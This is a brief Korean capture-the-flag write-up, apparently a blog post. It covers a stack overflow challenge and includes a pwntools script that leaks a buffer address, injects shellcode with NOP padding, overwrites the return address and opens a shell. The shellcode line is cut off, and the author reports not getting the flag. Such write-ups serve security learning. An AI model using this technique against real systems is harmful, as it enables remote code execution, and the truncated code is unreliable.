> 보호기법 적용 확인
보호기법이 적용되지 않았다.
그러므로 셸코드를 작성하여 문제를 풀어보겠다.
> IDA 실행
3, 7번째 줄을 보면,
크기가 27952인 buf를 받는 것을 알 수 있다.
buf v4(27952) | rbp | ret
ret에 v4의 시작 주소를 넣어야하기 때문에,
payload = shellcode + dummy + v4 로 작성하면 된다.
> 익스플로잇
from pwn import *
context.log_level = "DEBUG"
p = remote('ctf.j0n9hyun.xyz ', 3005)
p.recvuntil("buf: ")
buf_addr = int(p.recv(14), 16)
shellcode = b'\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x6$
payload = shellcode
payload += b'\x90' * 27937
payload += p64(buf_addr)
p.sendline(payload)
p.interactive()
익스플로잇까지 작성하였는데 왜인지 flag 값을 구하지 못했다.